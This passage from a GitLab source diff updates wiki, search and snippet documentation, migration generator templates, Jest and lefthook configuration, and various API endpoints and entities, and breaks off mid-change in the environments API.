-Example for `_sidebar` (using Markdown format):
+A `_sidebar` example, formatted with Markdown:
```markdown
### [Home](home)
@@ -225,3 +210,79 @@ Example for `_sidebar` (using Markdown format):
```
Support for displaying a generated table of contents with a custom side navigation is planned.
+
+## Enable or disable a project wiki
+
+Wikis are enabled by default in GitLab. Project [administrators](../../permissions.md)
+can enable or disable the project wiki by following the instructions in
+[Sharing and permissions](../settings/index.md#sharing-and-permissions).
+
+Administrators for self-managed GitLab installs can
+[configure additional wiki settings](../../../administration/wikis/index.md).
+
+## Group wikis **(PREMIUM)**
+
+> - [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/13195) in [GitLab Premium](https://about.gitlab.com/pricing/) 13.5.
+
+Group wikis work the same way as project wikis. Their usage is similar to project
+wikis, with a few limitations:
+
+- Git LFS is not supported.
+- Group wikis are not included in global search.
+- Changes to group wikis don't show up in the group's activity feed.
+
+For updates, follow [the epic that tracks feature parity with project wikis](https://gitlab.com/groups/gitlab-org/-/epics/2782).
+
+Group wikis can be edited by members with [Developer permissions](../../permissions.md#group-members-permissions)
+and above. Group wiki repositories can be moved using the
+[Group repository storage moves API](../../../api/group_repository_storage_moves.md).
+
+## Link an external wiki
+
+To add a link to an external wiki from a project's left sidebar:
+
+1. In your project, go to **Settings > Integrations**.
+1. Select **External wiki**.
+1. Add the URL to your external wiki.
+1. (Optional) Select **Test settings** to verify the connection.
+1. Select **Save changes**.
+
+You can now see the **External wiki** option from your project's
+left sidebar.
+
+When you enable this integration, the link to the external
+wiki won't replace the link to the internal wiki.
+To hide the internal wiki from the sidebar, [disable the project's wiki](#disable-the-projects-wiki).
+
+To hide the link to an external wiki:
+
+1. In your project, go to **Settings > Integrations**.
+1. Select **External wiki**.
+1. Unselect **Enable integration**.
+1. Select **Save changes**.
+
+## Disable the project's wiki
+
+To disable a project's internal wiki:
+
+1. In your project, go to **Settings > General**.
+1. Expand **Visibility, project features, permissions**.
+1. Scroll down to find **Wiki** and toggle it off (in gray).
+1. Select **Save changes**.
+
+The internal wiki is now disabled, and users and project members:
+
+- Cannot find the link to the wiki from the project's sidebar.
+- Cannot add, delete, or edit wiki pages.
+- Cannot view any wiki page.
+
+Previously added wiki pages are preserved in case you
+want to re-enable the wiki. To re-enable it, repeat the process
+to disable the wiki but toggle it on (in blue).
+
+## Resources
+
+- [Wiki settings for administrators](../../../administration/wikis/index.md)
+- [Project wikis API](../../../api/wikis.md)
+- [Group repository storage moves API](../../../api/group_repository_storage_moves.md)
+- [Group wikis API](../../../api/group_wikis.md)
diff --git a/doc/user/search/advanced_search.md b/doc/user/search/advanced_search.md
index d11f02addea..1c4423fb7b0 100644
--- a/doc/user/search/advanced_search.md
+++ b/doc/user/search/advanced_search.md
@@ -91,7 +91,7 @@ Examples:
### Excluding filters
-[Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/31684) in GitLab Starter 13.3.
+> [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/31684) in GitLab 13.3.
Filters can be inverted to **filter out** results from the result set, by prefixing the filter name with a `-` (hyphen) character, such as:
diff --git a/doc/user/search/img/basic_search.png b/doc/user/search/img/basic_search.png
index 234805d5a4f..86aab68f1f0 100644
--- a/doc/user/search/img/basic_search.png
+++ b/doc/user/search/img/basic_search.png
Binary files differ
diff --git a/doc/user/search/img/dashboard_links.png b/doc/user/search/img/dashboard_links.png
deleted file mode 100644
index d784ba8018e..00000000000
--- a/doc/user/search/img/dashboard_links.png
+++ /dev/null
Binary files differ
diff --git a/doc/user/search/img/dashboard_links_v13_11.png b/doc/user/search/img/dashboard_links_v13_11.png
new file mode 100644
index 00000000000..5f2e61eee1e
--- /dev/null
+++ b/doc/user/search/img/dashboard_links_v13_11.png
Binary files differ
diff --git a/doc/user/search/img/issues_mrs_shortcut.png b/doc/user/search/img/issues_mrs_shortcut.png
index 2fe1350c806..5be8079030a 100644
--- a/doc/user/search/img/issues_mrs_shortcut.png
+++ b/doc/user/search/img/issues_mrs_shortcut.png
Binary files differ
diff --git a/doc/user/search/img/project_search_dropdown.png b/doc/user/search/img/project_search_dropdown.png
deleted file mode 100644
index e0b922a186b..00000000000
--- a/doc/user/search/img/project_search_dropdown.png
+++ /dev/null
Binary files differ
diff --git a/doc/user/search/index.md b/doc/user/search/index.md
index f327288ea0a..db89dddaf14 100644
--- a/doc/user/search/index.md
+++ b/doc/user/search/index.md
@@ -12,9 +12,14 @@ type: index, reference, howto
To search through issues and merge requests in multiple projects, use the **Issues** or **Merge Requests** links
in the top-right part of your screen. These instructions are valid for both.
-The number displayed on their right represents the number of issues and merge requests assigned to you:
+The numbers in the right-hand side of the top menu indicate how many issues, merge requests,
+and to-do items are assigned to you:
-![issues and MRs dashboard links](img/dashboard_links.png)
+![issues and MRs dashboard links](img/dashboard_links_v13_11.png)
+
+- **(issues)** **Issues**: The open issues assigned to you.
+- **(merge-request-open)** **Merge requests**: The [merge requests](../project/merge_requests/index.md) assigned to you.
+- **(todo-done)** **To-do items**: The [to-do items](../todos.md) assigned to you.
When you click **Issues**, GitLab shows the opened issues assigned to you:
@@ -282,7 +287,6 @@ search, or choose a specific group or project.
To search through code or other documents in a single project, you can use
the search field on the top-right of your screen while the project page is open.
-![code search dropdown](img/project_search_dropdown.png)
![code search results](img/project_code_search.png)
### SHA search
@@ -302,37 +306,12 @@ GitLab instance.
## Search settings
-> - [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/292941) in GitLab 13.8.
-> - [Added to Group, Admin, and User settings](https://gitlab.com/groups/gitlab-org/-/epics/4842) in GitLab 13.9
-> - It's [deployed behind a feature flag](../feature_flags.md), disabled by default.
-> - It's disabled on GitLab.com.
-> - It's not recommended for production use.
-> - To use it in GitLab self-managed instances, ask a GitLab administrator to [enable it](#enable-or-disable-search-settings). **(FREE SELF)**
-
-WARNING:
-This feature might not be available to you. Check the **version history** note above for details.
+> - [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/292941) in GitLab 13.8 behind a feature flag, disabled by default.
+> - [Added to Group, Admin, and User settings](https://gitlab.com/groups/gitlab-org/-/epics/4842) in GitLab 13.9.
+> - [Enabled by default](https://gitlab.com/gitlab-org/gitlab/-/issues/294025) in GitLab 13.11.
-You can search inside a Project, Group, Admin, or User’s settings by entering
+You can search inside a Project, Group, Admin, or User's settings by entering
a search term in the search box located at the top of the page. The search results
appear highlighted in the sections that match the search term.
![Search project settings](img/project_search_general_settings_v13_8.png)
-
-### Enable or disable Search settings **(FREE SELF)**
-
-Search settings is under development and not ready for production use. It is
-deployed behind a feature flag that is **disabled by default**.
-[GitLab administrators with access to the GitLab Rails console](../../administration/feature_flags.md)
-can enable it.
-
-To enable it:
-
-```ruby
-Feature.enable(:search_settings_in_page)
-```
-
-To disable it:
-
-```ruby
-Feature.disable(:search_settings_in_page)
-```
diff --git a/doc/user/snippets.md b/doc/user/snippets.md
index c087e68f000..45751e14cb8 100644
--- a/doc/user/snippets.md
+++ b/doc/user/snippets.md
@@ -14,6 +14,8 @@ You can [comment on](#comment-on-snippets), [clone](#clone-snippets), and
[syntax highlighting](#filenames), [embedding](#embed-snippets), [downloading](#download-snippets),
and you can maintain your snippets with the [snippets API](../api/snippets.md).
+![Example of snippet](img/snippet_intro_v13_11.png)
+
GitLab provides two types of snippets:
- **Personal snippets**: Created independent of any project.
@@ -57,7 +59,7 @@ To discover all snippets visible to you in GitLab, you can:
- **View all snippets visible to you**: In the top navigation bar of your GitLab
instance, go to **More > Snippets** to view your snippets dashboard.
-- **Visit [GitLab snippets](http://snippets.gitlab.com/)** for your snippets on GitLab.com.
+- **Visit [GitLab snippets](https://gitlab.com/dashboard/snippets)** for your snippets on GitLab.com.
- **Explore all public snippets**: In the top navigation bar of your GitLab
instance, go to **More > Snippets** and select **Explore snippets** to view
[all public snippets](https://gitlab.com/explore/snippets).
@@ -123,7 +125,16 @@ A single snippet can support up to 10 files, which helps keep related files toge
- A `gulpfile.js` file and a `package.json` file, which together can be
used to bootstrap a project and manage its dependencies.
-You can manage these by using Git (because they're [versioned](#versioned-snippets)
+If you need more than 10 files for your snippet, we recommend you create a
+[wiki](project/wiki/index.md) instead. Wikis are available for projects at all
+subscription levels, and [groups](project/wiki/index.md#group-wikis) for
+[GitLab Premium](https://about.gitlab.com/pricing).
+
+Snippets with multiple files display a file count in the [snippet list](http://snippets.gitlab.com/):
+
+![Example of snippet](img/snippet_tooltip_v13_10.png)
+
+You can manage snippets with Git (because they're [versioned](#versioned-snippets)
by a Git repository), through the [Snippets API](../api/snippets.md), and in the GitLab UI.
To add a new file to your snippet through the GitLab UI:
diff --git a/doc/user/usage_quotas.md b/doc/user/usage_quotas.md
index 16ba2582101..07a5eda8cfb 100644
--- a/doc/user/usage_quotas.md
+++ b/doc/user/usage_quotas.md
@@ -5,7 +5,7 @@ group: Utilization
info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers
---
-# Storage usage quota
+# Storage usage quota **(FREE SAAS)**
> - [Introduced](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/13294) in GitLab 12.0.
> - Moved to GitLab Free.
diff --git a/generator_templates/active_record/migration/create_table_migration.rb b/generator_templates/active_record/migration/create_table_migration.rb
index 91df1b0d98f..7d52336cd4c 100644
--- a/generator_templates/active_record/migration/create_table_migration.rb
+++ b/generator_templates/active_record/migration/create_table_migration.rb
@@ -6,16 +6,8 @@
class <%= migration_class_name %> < ActiveRecord::Migration[<%= ActiveRecord::Migration.current_version %>]
include Gitlab::Database::MigrationHelpers
- # Set this constant to true if this migration requires downtime.
- DOWNTIME = false
-
- # When a migration requires downtime you **must** uncomment the following
- # constant and define a short and easy to understand explanation as to why the
- # migration requires downtime.
- # DOWNTIME_REASON = ''
-
- # When using the methods "add_concurrent_index", "remove_concurrent_index" or
- # "add_column_with_default" you must disable the use of transactions
+ # When using the methods "add_concurrent_index" or "remove_concurrent_index"
+ # you must disable the use of transactions
# as these methods can not run in an existing transaction.
# When using "add_concurrent_index" or "remove_concurrent_index" methods make sure
# that either of them is the _only_ method called in the migration,
diff --git a/generator_templates/active_record/migration/migration.rb b/generator_templates/active_record/migration/migration.rb
index 2a57edba65e..dddd6e247d4 100644
--- a/generator_templates/active_record/migration/migration.rb
+++ b/generator_templates/active_record/migration/migration.rb
@@ -7,16 +7,8 @@ class <%= migration_class_name %> < ActiveRecord::Migration[<%= ActiveRecord::Mi
# Uncomment the following include if you require helper functions:
# include Gitlab::Database::MigrationHelpers
- # Set this constant to true if this migration requires downtime.
- DOWNTIME = false
-
- # When a migration requires downtime you **must** uncomment the following
- # constant and define a short and easy to understand explanation as to why the
- # migration requires downtime.
- # DOWNTIME_REASON = ''
-
- # When using the methods "add_concurrent_index", "remove_concurrent_index" or
- # "add_column_with_default" you must disable the use of transactions
+ # When using the methods "add_concurrent_index" or "remove_concurrent_index"
+ # you must disable the use of transactions
# as these methods can not run in an existing transaction.
# When using "add_concurrent_index" or "remove_concurrent_index" methods make sure
# that either of them is the _only_ method called in the migration,
diff --git a/generator_templates/rails/post_deployment_migration/migration.rb b/generator_templates/rails/post_deployment_migration/migration.rb
index b36cf877f0e..689d1de9d17 100644
--- a/generator_templates/rails/post_deployment_migration/migration.rb
+++ b/generator_templates/rails/post_deployment_migration/migration.rb
@@ -7,10 +7,8 @@ class <%= migration_class_name %> < ActiveRecord::Migration[<%= ActiveRecord::Mi
# Uncomment the following include if you require helper functions:
# include Gitlab::Database::MigrationHelpers
- DOWNTIME = false
-
- # When using the methods "add_concurrent_index", "remove_concurrent_index" or
- # "add_column_with_default" you must disable the use of transactions
+ # When using the methods "add_concurrent_index" or "remove_concurrent_index"
+ # you must disable the use of transactions
# as these methods can not run in an existing transaction.
# When using "add_concurrent_index" or "remove_concurrent_index" methods make sure
# that either of them is the _only_ method called in the migration,
diff --git a/generator_templates/usage_metric_definition/metric_definition.yml b/generator_templates/usage_metric_definition/metric_definition.yml
index 4dbc3edbb54..5e2ab095358 100644
--- a/generator_templates/usage_metric_definition/metric_definition.yml
+++ b/generator_templates/usage_metric_definition/metric_definition.yml
@@ -1,5 +1,4 @@
---
-# See Usage Ping metrics dictionary docs https://docs.gitlab.com/ee/development/usage_ping/metrics_dictionary.html
key_path: <%= key_path %><%= metric_name_suggestion %>
description:
product_section:
@@ -14,7 +13,6 @@ time_frame: <%= time_frame %>
data_source:
distribution:
<%= distribution %>
-# Add here corresponding tiers
# tier:
# - free
# - premium
diff --git a/jest.config.base.js b/jest.config.base.js
index 4e9b84d1d34..ef7802ff724 100644
--- a/jest.config.base.js
+++ b/jest.config.base.js
@@ -1,7 +1,12 @@
const IS_EE = require('./config/helpers/is_ee_env');
const isESLint = require('./config/helpers/is_eslint');
-module.exports = (path) => {
+module.exports = (path, options = {}) => {
+ const {
+ moduleNameMapper: extModuleNameMapper = {},
+ moduleNameMapperEE: extModuleNameMapperEE = {},
+ } = options;
+
const reporters = ['default'];
// To have consistent date time parsing both in local and CI environments we set
@@ -45,7 +50,8 @@ module.exports = (path) => {
'emojis(/.*).json': '<rootDir>/fixtures/emojis$1.json',
'^spec/test_constants$': '<rootDir>/spec/frontend/__helpers__/test_constants',
'^jest/(.*)$': '<rootDir>/spec/frontend/$1',
- 'test_helpers(/.*)$': '<rootDir>/spec/frontend_integration/test_helpers$1',
+ '^jquery$': '<rootDir>/node_modules/jquery/dist/jquery.slim.js',
+ ...extModuleNameMapper,
};
const collectCoverageFrom = ['<rootDir>/app/assets/javascripts/**/*.{js,vue}'];
@@ -58,6 +64,7 @@ module.exports = (path) => {
'^ee_else_ce(/.*)$': rootDirEE,
'^ee_jest/(.*)$': '<rootDir>/ee/spec/frontend/$1',
[TEST_FIXTURES_PATTERN]: '<rootDir>/tmp/tests/frontend/fixtures-ee$1',
+ ...extModuleNameMapperEE,
});
collectCoverageFrom.push(rootDirEE.replace('$1', '/**/*.{js,vue}'));
@@ -79,6 +86,8 @@ module.exports = (path) => {
collectCoverageFrom,
coverageDirectory: coverageDirectory(),
coverageReporters: ['json', 'lcov', 'text-summary', 'clover'],
+ // We need ignore _worker code coverage since we are manually transforming it
+ coveragePathIgnorePatterns: ['<rootDir>/node_modules/', '_worker\\.js$'],
cacheDirectory: '<rootDir>/tmp/cache/jest',
modulePathIgnorePatterns: ['<rootDir>/.yarn-cache/'],
reporters,
@@ -86,6 +95,7 @@ module.exports = (path) => {
restoreMocks: true,
transform: {
'^.+\\.(gql|graphql)$': 'jest-transform-graphql',
+ '^.+_worker\\.js$': './spec/frontend/__helpers__/web_worker_transformer.js',
'^.+\\.js$': 'babel-jest',
'^.+\\.vue$': 'vue-jest',
'^.+\\.(md|zip|png)$': 'jest-raw-loader',
diff --git a/jest.config.integration.js b/jest.config.integration.js
index 573002c1a34..92296fb751e 100644
--- a/jest.config.integration.js
+++ b/jest.config.integration.js
@@ -1,5 +1,16 @@
+const checkEnvironment = require('./config/helpers/check_frontend_integration_env');
const baseConfig = require('./jest.config.base');
+checkEnvironment();
+
module.exports = {
- ...baseConfig('spec/frontend_integration'),
+ ...baseConfig('spec/frontend_integration', {
+ moduleNameMapper: {
+ '^test_helpers(/.*)$': '<rootDir>/spec/frontend_integration/test_helpers$1',
+ '^ee_else_ce_test_helpers(/.*)$': '<rootDir>/spec/frontend_integration/test_helpers$1',
+ },
+ moduleNameMapperEE: {
+ '^ee_else_ce_test_helpers(/.*)$': '<rootDir>/ee/spec/frontend_integration/test_helpers$1',
+ },
+ }),
};
diff --git a/lefthook.yml b/lefthook.yml
index 9284b872e7f..daab6e7f4a0 100644
--- a/lefthook.yml
+++ b/lefthook.yml
@@ -6,35 +6,35 @@ pre-push:
eslint:
tags: frontend style
files: git diff --name-only --diff-filter=d $(git merge-base origin/master HEAD)..HEAD
- glob: "*.{js,vue}"
+ glob: '*.{js,vue}'
run: yarn run lint:eslint {files}
haml-lint:
tags: view haml style
files: git diff --name-only --diff-filter=d $(git merge-base origin/master HEAD)..HEAD
- glob: "*.html.haml"
+ glob: '*.html.haml'
run: bundle exec haml-lint --config .haml-lint.yml {files}
markdownlint:
tags: documentation style
files: git diff --name-only --diff-filter=d $(git merge-base origin/master HEAD)..HEAD
- glob: "doc/*.md"
+ glob: 'doc/*.md'
run: yarn markdownlint {files}
stylelint:
tags: stylesheet css style
files: git diff --name-only --diff-filter=d $(git merge-base origin/master HEAD)..HEAD
- glob: "*.scss{,.css}"
- run: yarn stylelint -q {files}
+ glob: '*.scss{,.css}'
+ run: yarn stylelint {files}
prettier:
tags: frontend style
files: git diff --name-only --diff-filter=d $(git merge-base origin/master HEAD)..HEAD
- glob: "*.{js,vue,graphql}"
+ glob: '*.{js,vue,graphql}'
run: yarn run prettier --check {files}
rubocop:
tags: backend style
files: git diff --name-only --diff-filter=d $(git merge-base origin/master HEAD)..HEAD
- glob: "*.rb"
- run: bundle exec rubocop --parallel --force-exclusion {files}
+ glob: '*.rb'
+ run: REVEAL_RUBOCOP_TODO=0 bundle exec rubocop --parallel --force-exclusion {files}
vale: # Requires Vale: https://docs.gitlab.com/ee/development/documentation/#install-linters
tags: documentation style
files: git diff --name-only --diff-filter=d $(git merge-base origin/master HEAD)..HEAD
- glob: "doc/*.md"
+ glob: 'doc/*.md'
run: if command -v vale 2> /dev/null; then vale --config .vale.ini --minAlertLevel error {files}; else echo "Vale not found. Install Vale"; fi
diff --git a/lib/api/admin/sidekiq.rb b/lib/api/admin/sidekiq.rb
index 7e561783685..d91d4a0d4d5 100644
--- a/lib/api/admin/sidekiq.rb
+++ b/lib/api/admin/sidekiq.rb
@@ -12,11 +12,11 @@ module API
namespace 'queues' do
desc 'Drop jobs matching the given metadata from the Sidekiq queue'
params do
- Labkit::Context::KNOWN_KEYS.each do |key|
+ Gitlab::ApplicationContext::KNOWN_KEYS.each do |key|
optional key, type: String, allow_blank: false
end
- at_least_one_of(*Labkit::Context::KNOWN_KEYS)
+ at_least_one_of(*Gitlab::ApplicationContext::KNOWN_KEYS)
end
delete ':queue_name' do
result =
diff --git a/lib/api/api.rb b/lib/api/api.rb
index f83a36068dd..a287ffbfcd8 100644
--- a/lib/api/api.rb
+++ b/lib/api/api.rb
@@ -59,7 +59,7 @@ module API
project: -> { @project },
namespace: -> { @group },
runner: -> { @current_runner || @runner },
- caller_id: route.origin,
+ caller_id: api_endpoint.endpoint_id,
remote_ip: request.ip,
feature_category: feature_category
)
@@ -293,6 +293,8 @@ module API
mount ::API::Triggers
mount ::API::Unleash
mount ::API::UsageData
+ mount ::API::UsageDataQueries
+ mount ::API::UsageDataNonSqlMetrics
mount ::API::UserCounts
mount ::API::Users
mount ::API::Variables
diff --git a/lib/api/api_guard.rb b/lib/api/api_guard.rb
index 8641271f2df..8822a30d4a1 100644
--- a/lib/api/api_guard.rb
+++ b/lib/api/api_guard.rb
@@ -55,7 +55,7 @@ module API
user = find_user_from_sources
return unless user
- if user.is_a?(User) && Feature.enabled?(:user_mode_in_session)
+ if user.is_a?(User) && Gitlab::CurrentSettings.admin_mode
# Sessions are enforced to be unavailable for API calls, so ignore them for admin mode
Gitlab::Auth::CurrentUserMode.bypass_session!(user.id)
end
@@ -236,7 +236,7 @@ module API
def after
# Use a Grape middleware since the Grape `after` blocks might run
# before we are finished rendering the `Grape::Entity` classes
- Gitlab::Auth::CurrentUserMode.reset_bypass_session! if Feature.enabled?(:user_mode_in_session)
+ Gitlab::Auth::CurrentUserMode.reset_bypass_session! if Gitlab::CurrentSettings.admin_mode
# Explicit nil is needed or the api call return value will be overwritten
nil
diff --git a/lib/api/applications.rb b/lib/api/applications.rb
index b883f83cc19..be482272b20 100644
--- a/lib/api/applications.rb
+++ b/lib/api/applications.rb
@@ -41,6 +41,8 @@ module API
desc 'Delete an application'
delete ':id' do
application = ApplicationsFinder.new(params).execute
+ break not_found!('Application') unless application
+
application.destroy
no_content!
diff --git a/lib/api/ci/pipelines.rb b/lib/api/ci/pipelines.rb
index fa75d012613..339c0e779f9 100644
--- a/lib/api/ci/pipelines.rb
+++ b/lib/api/ci/pipelines.rb
@@ -70,7 +70,7 @@ module API
optional :variables, Array, desc: 'Array of variables available in the pipeline'
end
post ':id/pipeline' do
- Gitlab::QueryLimiting.whitelist('https://gitlab.com/gitlab-org/gitlab-foss/issues/42124')
+ Gitlab::QueryLimiting.disable!('https://gitlab.com/gitlab-org/gitlab/-/issues/20711')
authorize! :create_pipeline, user_project
diff --git a/lib/api/ci/runner.rb b/lib/api/ci/runner.rb
index 80d5e80e21e..c5249f1377b 100644
--- a/lib/api/ci/runner.rb
+++ b/lib/api/ci/runner.rb
@@ -245,7 +245,7 @@ module API
job = authenticate_job!
- result = ::Ci::CreateJobArtifactsService.new(job).authorize(artifact_type: params[:artifact_type], filesize: params[:filesize])
+ result = ::Ci::JobArtifacts::CreateService.new(job).authorize(artifact_type: params[:artifact_type], filesize: params[:filesize])
if result[:status] == :success
content_type Gitlab::Workhorse::INTERNAL_API_CONTENT_TYPE
@@ -284,7 +284,7 @@ module API
artifacts = params[:file]
metadata = params[:metadata]
- result = ::Ci::CreateJobArtifactsService.new(job).execute(artifacts, params, metadata_file: metadata)
+ result = ::Ci::JobArtifacts::CreateService.new(job).execute(artifacts, params, metadata_file: metadata)
if result[:status] == :success
status :created
diff --git a/lib/api/commits.rb b/lib/api/commits.rb
index a24848082a9..bd9f83ac24c 100644
--- a/lib/api/commits.rb
+++ b/lib/api/commits.rb
@@ -186,16 +186,14 @@ module API
use :pagination
requires :sha, type: String, desc: 'A commit sha, or the name of a branch or tag'
end
- # rubocop: disable CodeReuse/ActiveRecord
get ':id/repository/commits/:sha/comments', requirements: API::COMMIT_ENDPOINT_REQUIREMENTS do
commit = user_project.commit(params[:sha])
not_found! 'Commit' unless commit
- notes = commit.notes.order(:created_at)
+ notes = commit.notes.with_api_entity_associations.fresh
present paginate(notes), with: Entities::CommitNote
end
- # rubocop: enable CodeReuse/ActiveRecord
desc 'Cherry pick commit into a branch' do
detail 'This feature was introduced in GitLab 8.15'
@@ -372,7 +370,7 @@ module API
current_user,
project_id: user_project.id,
commit_sha: commit.sha
- ).execute
+ ).execute.with_api_entity_associations
present paginate(commit_merge_requests), with: Entities::MergeRequestBasic
end
diff --git a/lib/api/composer_packages.rb b/lib/api/composer_packages.rb
index bd8d9b68858..115a6b8ac4f 100644
--- a/lib/api/composer_packages.rb
+++ b/lib/api/composer_packages.rb
@@ -161,6 +161,8 @@ module API
not_found! unless metadata
+ track_package_event('pull_package', :composer)
+
send_git_archive unauthorized_user_project.repository, ref: metadata.target_sha, format: 'zip', append_sha: true
end
end
diff --git a/lib/api/concerns/packages/nuget_endpoints.rb b/lib/api/concerns/packages/nuget_endpoints.rb
index 53b778875fc..5364eeb1880 100644
--- a/lib/api/concerns/packages/nuget_endpoints.rb
+++ b/lib/api/concerns/packages/nuget_endpoints.rb
@@ -95,7 +95,7 @@ module API
# https://docs.microsoft.com/en-us/nuget/api/search-query-service-resource
params do
- requires :q, type: String, desc: 'The search term'
+ optional :q, type: String, desc: 'The search term'
optional :skip, type: Integer, desc: 'The number of results to skip', default: 0, regexp: NON_NEGATIVE_INTEGER_REGEX
optional :take, type: Integer, desc: 'The number of results to return', default: Kaminari.config.default_per_page, regexp: POSITIVE_INTEGER_REGEX
optional :prerelease, type: ::Grape::API::Boolean, desc: 'Include prerelease versions', default: true
diff --git a/lib/api/deploy_keys.rb b/lib/api/deploy_keys.rb
index 0a541620c3a..9f0f569b711 100644
--- a/lib/api/deploy_keys.rb
+++ b/lib/api/deploy_keys.rb
@@ -44,7 +44,7 @@ module API
end
# rubocop: disable CodeReuse/ActiveRecord
get ":id/deploy_keys" do
- keys = user_project.deploy_keys_projects.preload(:deploy_key)
+ keys = user_project.deploy_keys_projects.preload(deploy_key: :user)
present paginate(keys), with: Entities::DeployKeysProject
end
diff --git a/lib/api/deployments.rb b/lib/api/deployments.rb
index d0c842bb19d..0a6ecf2919c 100644
--- a/lib/api/deployments.rb
+++ b/lib/api/deployments.rb
@@ -36,7 +36,9 @@ module API
get ':id/deployments' do
authorize! :read_deployment, user_project
- deployments = DeploymentsFinder.new(params.merge(project: user_project)).execute
+ deployments =
+ DeploymentsFinder.new(params.merge(project: user_project))
+ .execute.with_api_entity_associations
present paginate(deployments), with: Entities::Deployment
end
diff --git a/lib/api/entities/basic_project_details.rb b/lib/api/entities/basic_project_details.rb
index cf0b32bed26..2de49d6ed40 100644
--- a/lib/api/entities/basic_project_details.rb
+++ b/lib/api/entities/basic_project_details.rb
@@ -8,11 +8,10 @@ module API
expose :default_branch, if: -> (project, options) { Ability.allowed?(options[:current_user], :download_code, project) }
# Avoids an N+1 query: https://github.com/mbleigh/acts-as-taggable-on/issues/91#issuecomment-168273770
expose :tag_list do |project|
- # project.tags.order(:name).pluck(:name) is the most suitable option
- # to avoid loading all the ActiveRecord objects but, if we use it here
- # it override the preloaded associations and makes a query
- # (fixed in https://github.com/rails/rails/pull/25976).
- project.tags.map(&:name).sort
+ # Tags is a preloaded association. If we perform then sorting
+ # through the database, it will trigger a new query, ending up
+ # in an N+1 if we have several projects
+ project.tags.pluck(:name).sort # rubocop:disable CodeReuse/ActiveRecord
end
expose :ssh_url_to_repo, :http_url_to_repo, :web_url, :readme_url
diff --git a/lib/api/entities/clusters/agent.rb b/lib/api/entities/clusters/agent.rb
new file mode 100644
index 00000000000..3b4538b81c2
--- /dev/null
+++ b/lib/api/entities/clusters/agent.rb
@@ -0,0 +1,12 @@
+# frozen_string_literal: true
+
+module API
+ module Entities
+ module Clusters
+ class Agent < Grape::Entity
+ expose :id
+ expose :project, with: Entities::ProjectIdentity, as: :config_project
+ end
+ end
+ end
+end
diff --git a/lib/api/entities/email.rb b/lib/api/entities/email.rb
index 5ba425def3d..46ebc458bcd 100644
--- a/lib/api/entities/email.rb
+++ b/lib/api/entities/email.rb
@@ -3,7 +3,7 @@
module API
module Entities
class Email < Grape::Entity
- expose :id, :email
+ expose :id, :email, :confirmed_at
end
end
end
diff --git a/lib/api/entities/job_request/job_info.rb b/lib/api/entities/job_request/job_info.rb
index 09c13aa8471..a4bcc9726d0 100644
--- a/lib/api/entities/job_request/job_info.rb
+++ b/lib/api/entities/job_request/job_info.rb
@@ -4,7 +4,7 @@ module API
module Entities
module JobRequest
class JobInfo < Grape::Entity
- expose :name, :stage
+ expose :id, :name, :stage
expose :project_id, :project_name
end
end
diff --git a/lib/api/entities/namespace_existence.rb b/lib/api/entities/namespace_existence.rb
new file mode 100644
index 00000000000..d93078ecdac
--- /dev/null
+++ b/lib/api/entities/namespace_existence.rb
@@ -0,0 +1,9 @@
+# frozen_string_literal: true
+
+module API
+ module Entities
+ class NamespaceExistence < Grape::Entity
+ expose :exists, :suggests
+ end
+ end
+end
diff --git a/lib/api/entities/project.rb b/lib/api/entities/project.rb
index e332e5e40fa..690bc5d419d 100644
--- a/lib/api/entities/project.rb
+++ b/lib/api/entities/project.rb
@@ -127,15 +127,16 @@ module API
# as `:tags` are defined as: `has_many :tags, through: :taggings`
# N+1 is solved then by using `subject.tags.map(&:name)`
# MR describing the solution: https://gitlab.com/gitlab-org/gitlab-foss/merge_requests/20555
- super(projects_relation).preload(:group)
+ super(projects_relation).preload(group: :namespace_settings)
.preload(:ci_cd_settings)
.preload(:project_setting)
.preload(:container_expiration_policy)
.preload(:auto_devops)
+ .preload(:service_desk_setting)
.preload(project_group_links: { group: :route },
fork_network: :root_project,
fork_network_member: :forked_from_project,
- forked_from_project: [:route, :forks, :tags, namespace: :route])
+ forked_from_project: [:route, :forks, :tags, :group, :project_feature, namespace: [:route, :owner]])
end
# rubocop: enable CodeReuse/ActiveRecord
diff --git a/lib/api/entities/project_import_failed_relation.rb b/lib/api/entities/project_import_failed_relation.rb
index 16b26ad0efa..b8f842c1646 100644
--- a/lib/api/entities/project_import_failed_relation.rb
+++ b/lib/api/entities/project_import_failed_relation.rb
@@ -3,7 +3,11 @@
module API
module Entities
class ProjectImportFailedRelation < Grape::Entity
- expose :id, :created_at, :exception_class, :exception_message, :source
+ expose :id, :created_at, :exception_class, :source
+
+ expose :exception_message do |_|
+ nil
+ end
expose :relation_key, as: :relation_name
end
diff --git a/lib/api/entities/user.rb b/lib/api/entities/user.rb
index 248a86751d2..3ce6d03e236 100644
--- a/lib/api/entities/user.rb
+++ b/lib/api/entities/user.rb
@@ -11,10 +11,10 @@ module API
work_information(user)
end
expose :followers, if: ->(user, opts) { Ability.allowed?(opts[:current_user], :read_user_profile, user) } do |user|
- user.followers.count
+ user.followers.size
end
expose :following, if: ->(user, opts) { Ability.allowed?(opts[:current_user], :read_user_profile, user) } do |user|
- user.followees.count
+ user.followees.size
end
end
end
diff --git a/lib/api/entities/user_preferences.rb b/lib/api/entities/user_preferences.rb
new file mode 100644
index 00000000000..7a6df9b6c59
--- /dev/null
+++ b/lib/api/entities/user_preferences.rb
@@ -0,0 +1,9 @@
+# frozen_string_literal: true
+
+module API
+ module Entities
+ class UserPreferences < Grape::Entity
+ expose :id, :user_id, :view_diffs_file_by_file
+ end
+ end
+end
diff --git a/lib/api/entities/user_public.rb b/lib/api/entities/user_public.rb
index 15e9b905bef..685adb1dd10 100644
--- a/lib/api/entities/user_public.rb
+++ b/lib/api/entities/user_public.rb
@@ -14,6 +14,7 @@ module API
expose :two_factor_enabled?, as: :two_factor_enabled
expose :external
expose :private_profile
+ expose :commit_email
end
end
end
diff --git a/lib/api/environments.rb b/lib/api/environments.rb
index 3e1e430c2f9..b606b2e814d 100644
--- a/lib/api/environments.rb
+++ b/lib/api/environments.rb
@@ -26,7 +26,7 @@ module API
get ':id/environments' do
authorize! :read_environment, user_project
- environments = ::EnvironmentsFinder.new(user_project, current_user, params).find
